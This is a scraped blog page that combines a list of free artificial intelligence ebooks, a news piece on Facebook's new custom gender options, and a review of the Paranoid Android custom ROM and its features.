Multiagent systems consist of multiple autonomous entities having different information and diverging interests. This comprehensive introduction to the field offers a computer science perspective, but also draws on ideas from game theory.

10. Ambient Intelligence by Felix Jesus Villanueva Molina - InTech, 2010

In this book, we analyse a selection of open problems which we consider the key ones in order to let ambient intelligence become a reality. This book provides the reader with a good idea about the current research lines in ambient intelligence.

11. Self-Organizing Maps by George K Matsopoulos - InTech, 2010

Contents: Learning the Number of Clusters in Self Organizing Map; Neural-Network Enhanced Visualization of High-Dimensional Data; SOM-based Applications in Remote Sensing; Segmentation of Satellite Images Using SOM; Face Recognition Using SOM; etc.

12. Autonomous Agents by Vedran Kordic - InTech, 2010

The field of multi agent systems investigates the process underlying distributed problem solving and designs some protocols and mechanisms involved in this process. This book presents an overview of the research issues in the field of multi agents.

13. Artificial Intelligence - Agents and Environments by William John Teahan - BookBoon, 2010

This book is the first in a series on Artificial Intelligence. It provides an introduction to the topic with an emphasis on the use of agent-oriented design. Topics include agents, environments, agent movement, and agent embodiment.

14. Artificial Intelligence - Agent Behaviour by William John Teahan - BookBoon, 2010

This book adopts a behaviour-based approach to the design of agent-oriented systems. The topics covered from a behaviour-based perspective include agent communication, searching, knowledge and reasoning, and intelligence.

15. The Quest for Artificial Intelligence by Nils J. Nilsson - Cambridge University Press, 2009

Artificial intelligence is a field within computer science that is attempting to build enhanced intelligence into computer systems. This book traces the history of the subject, from the eighteenth-century pioneers to the work of today-s AI engineers.

16. Computational Intelligence and Modern Heuristics by Al-Dahoud Ali - InTech, 2010

This book will take its readers on a stunning voyage of computational intelligence heuristics research and applications. Computational intelligence techniques are covered, ranging from neural networks, fuzzy logic, genetic algorithms, etc.

17. Artificial Intelligence through Prolog by Neil C. Rowe - Prentice-Hall, 1988

Artificial intelligence is a hard subject to learn. The author have written a book to make it easier. He explains difficult concepts in a simple, concrete way. This book is intended for all first courses in artificial intelligence.

18. Foundations of Constraint Satisfaction by Edward Tsang - Academic Press, 1993

This book was the first attempt to define the field of constraint satisfaction. It covers both the theoretical and the implementation aspects of the subject. It provides a framework for studying this field and relates different research.

19. Swarm Intelligence: Focus on Ant and Particle Swarm Optimization by Felix T.S. Chan, Manoj K. Tiwari - InTech, 2007

Motivated by the capability of the biologically inspired algorithms, the book aims to present recent developments in optimization with swarm intelligence techniques. The book also presents some selected representative case studies.

20. Encyclopedia of Computational Intelligence by Eugene M. Izhikevich, at al. - Scholarpedia, 2009

Encyclopedia of Computational Intelligence covers neural networks, evolutionary computation, robotics, machine learning and pattern recognition, graphs and complexity, artificial intelligence, information theory, fuzzy systems, signal analysis, etc.

21. The Boundaries of Humanity: Humans, Animals, Machines by J. Sheehan, M. Sosna - University of California Press, 1991

To the age-old debate over what it means to be human, the relatively new fields of sociobiology and artificial intelligence bring new insights. What have these two fields in common? Have they affected the way we define humanity?

22. Affective Computing by Jimmy Or - IN-TECH, 2008

An overview of state of the art research in Affective Computing. It presents new ideas, original results and practical experiences in this increasingly important research field. The book consists of 23 chapters categorized into four sections.

23. Artificial Intelligence and Responsive Optimization by M. Khoshnevisan, S. Bhattacharya, F. Smarandache - Xiquan, 2003

The purpose of this book is to apply the Artificial Intelligence and control systems to different real models. The text is designed for graduate students and researchers who are active in the applications of AI and Control Systems in modeling.

24. Artificial Intelligence and Molecular Biology by Lawrence Hunter - AAAI Press, 1993

A current sampling of AI approaches to problems of biological significance. The text covers genetic sequence analysis, protein structure representation and prediction, automated data analysis aids, and simulation of biological systems.

25. Brief Introduction to Educational Implications of Artificial Intelligence by David Moursund - University of Oregon, 2006

This book is designed to help teachers learn about the educational implications of current uses of Artificial Intelligence as an aid to solving problems and accomplishing tasks. The text is designed for self-study or for use in workshops. 

Author : Shivam Kotwalia, CodeKill

Beyond male and female with over 50 new gender options

A glimpse of some of the new options for gender on Facebook

For the first time, Facebook is letting users of its online social network identify themselves as a gender other than male and female. The basic user profile for members in the United States now includes a customizable category among the gender types that users must select, the world’s No 1 Internet social network announced on Wednesday, the day the feature became available for US members using the site’s English-language version.
Those who select that option can select up to 10 gender identifications, including “transgender,” “intersex” and “fluid.” The company said it worked with a leading group of gay and transgender advocacy organizations to come up with the selection of identity options. In all, the website is offering about 50 different terms people can use to identify their gender as well as three preferred pronoun choices: him, her or them
Until now, Facebook’s 1.23 billion members could only select male or female for their genders, which Facebook requires users to state in their profiles. Users of rival Google Inc’s Google+ social network already had an “other” option for gender.
Facebook said users also can control the audience who can view a custom choice, noting the challenges that some people may face in publicly sharing their gender identity. Users can also choose the personal pronoun to which they are referred publicly. A message on Facebook might now invite a user’s friend to write a birthday message on “their” wall, instead of “his” or “her” wall.
“We want you to feel comfortable being your true, authentic self,” Facebook said.

Author : Shivam Kotwalia, CodeKill

Pep Up Your Device with Paranoid Android

Paranoid Android is one of those rare innovations to have come out of open source software that thoroughly reinvents the way software is designed. With features like Hybrid UI, Pie Controls and the recently released HALO multitasking interface, this custom ROM for Android can reinvent your Android device like never before.

When asked about the leading Android custom ROM, the first name that comes to mind is undoubtedly Cyanogen Mod. The kind of features that it brings to the table, along with its rapid development and updates that are available almost instantly, make it the only custom ROM that most people use. But there are just a few that can match Paranoid Android for innovative design and unique features. Though not available for every Android device in the market, it is one of the few powerful Android ROMs that takes customisation to a whole new level. While Cyanogen Mod focuses on improving the overall experience and adding useful features to the stock Android interface, Paranoid Android focuses on bringing out features like the Tablet and Phablet UI on the smartphone, Per App DPI and the revolutionary HALO interface. The hybrid engine, which forms the heart of this ROM, attracts enthusiasts and developers alike. However, the best part is that it is open source and quite a few features are shared between the developers of these ROMs. This product of open source development can be shown off as an example of the freedom that the Android eco-system provides.




































































































As mentioned earlier, quite a few features have been adopted from other sources or are restructured third party apps. This allows developers to advance things that are already popular and avoid re-inventing the wheel. For instance, take Pie Controls, which has now been included in Cyanogen Mod as well. This was originally developed by the Paranoid Android team and was in turn inspired from a somewhat similar feature in the stock Android browser. The new HALO notification system is borrowed from Facebook Messenger’s Chat Head feature. This shows how open source makes the environment conducive to further development. Actually, before the Paranoid Android 3+ release, it was directly based on Cyanogen Mod sources and only after Android 4.2 was released, was it rebased to develop its own code on top of AOSP. Since then it has been referred to as AOSPA.
Installation
Installation is like that of any other ROM. If you are not familiar with rooting or customising your phone, you should probably go ahead and read up the innumerable tutorials available online. The process is highly device dependent, and it is not possible to describe the detailed steps. Overall, it just includes flashing a custom recovery, doing a factory reset, installing the latest zip along with the Google Apps package and, finally, a full wipe of the cache and dalvik cache. In case you are not sure how to go through these steps, there are You Tube videos aplenty that demonstrate them. Once you are done with the set-up, you can go through the usual set-up wizard and tutorial on how to use the different features.
Hybrid UI
This is one of the features that very few ROMs provide out-of-the-box. The Hybrid Engine and the customisability it provides would be ideal for large screen phablet devices like the Samsung Galaxy Note series, provided they are officially supported, as the Nexus devices are. The Per App DPI feature allows you to choose between the tablet and phone interface for an app. It needs to be used with caution, taking extra care that you do not set everything to be so small that you cannot see anything or it strains your eyes. Per App Colour, on the other hand, is a fancy feature that changes the colour of the status bar, according to the app displayed in the foreground.







































While you might be able to configure something similar to this on any other ROM, Paranoid Android lets you do it in style, complete with customised preferences and detailed settings that are available in the Paranoid Android Preferences App, which can be accessed as ‘Hybrid Properties’ from the ‘Settings’ screen. One can choose from the Stock UI, Phablet UI and the various Tablet UIs from the main screen (Figure 1). Further settings can be accessed from the menu by swiping left on this screen. The interface menu, for example, takes you to a screen that allows you to change the size and colour of various screen elements like the navigation bar and status bar (Figure 2). The ‘Apps’ screen, on the other hand, provides similar options for individual apps, even allowing you to choose which apps need to be opened in expanded desktop mode, and letting you choose the pixel density and status bar colour for each app (Figure 3). 





Pie Controls
The Pie Controls feature is an innovative way of navigating the Android interface, and is meant to replace the on-screen navigation buttons that come with most devices like those in Nexus phones and tablets. While it might be redundant on devices with hardware buttons, it still is beautiful enough for everyone to give it a try. The ROM allows users to customise various options related to the trigger area, alignment, speed, size, etc. These configuration options related to Pie can be changed from the ‘Toolbars’ menu in the ‘Settings’ screen (Figure 5). This same menu also allows changing options related to the HALO interface. The Pie Controls can look particularly beautiful when opened in the ‘Extended desktop’ mode. This mode replaces the status bar, to move all the details that it provides onto the screen when the Pie Controls feature is triggered. The way its fan-out transition has grown to be more and more fluid over the years, is the result of the hard work put in by the developers who have re-written its code base to ensure that there are no hiccups whatsoever.
Personally, I prefer to configure Pie on the right edge of the screen, where it feels more natural to right-handed users like me and can be triggered effortlessly with the thumb. This provides for much more natural, fluid and effortless navigation. While the direction for each action might take some getting used to, once you do get accustomed to it, this looks much cooler to show off and obviously saves screen space.
HALO multi-tasking
HALO is a recently released feature by the Paranoid Android team, and is possibly one of the biggest developments in AOSP-based ROMs till date. It brings forward the possibilities for true multi-tasking applications with floating windows, to avoid having to completely switch to an application that takes up the whole screen. It also incorporates one of the few innovative features of the Facebook Messenger app, and extends it to implement a similar chat head like a notification system for every notification in Android. A small bubble pops up whenever there is a new notification from any user or system app. What’s more, in conjunction with the expanded desktop mode, it may be used to completely replace the notification drawer. Whenever a notification pops up for a particular app, and the user clicks on this bubble to access that notification, the app opens up in its own overlay window, instead of replacing the current app. This is ideal when you need to perform a quick task that breaks the workflow of what you were previously doing. Need to take a quick look at that new email? Just click on the bubble and you can do so easily without having to navigate away from the previous app.
This feature is expected to see more active development in the coming months. If, however, you are not a fan of that ever-present bubble lurking in the corner of your screen, you can set it to disappear unless there is a new notification for you. On the other hand, if you like to use its functionality even more, you can pin multiple apps to it with the help of the ‘HALO’ companion app (Figure 7). These apps can then be accessed with the help of the click-and-drag gesture to select the appropriate app. A blacklist or whitelist limits the number of apps that are allowed to display notifications from the HALO interface.
While these are certainly not all the features of Paranoid Android, they are what stand out. If you feel like supporting the developers of this ROM, go ahead and buy the Paranoid Android Preferences app from the Play Store, which provides some additional preferences and access to some cutting-edge beta features that the developers might release from time to time.
Android custom ROMs let you choose what you want and customise it even further in the way that you will never be able to in the stock ROMs provided by the manufacturers. One thing that needs to be kept in mind, though, is that if you break something, repairs can be costly and support is scarce, i.e., restricted to online forums. One needs to be aware of all the risks, and most importantly, take backups before trying out anything. This becomes all the more important, considering that you will be evaluating more frequent updates and, often, it will turn out that you are not satisfied with a feature that is still under development.



























































Author : Shivam Kotwalia, CodeKill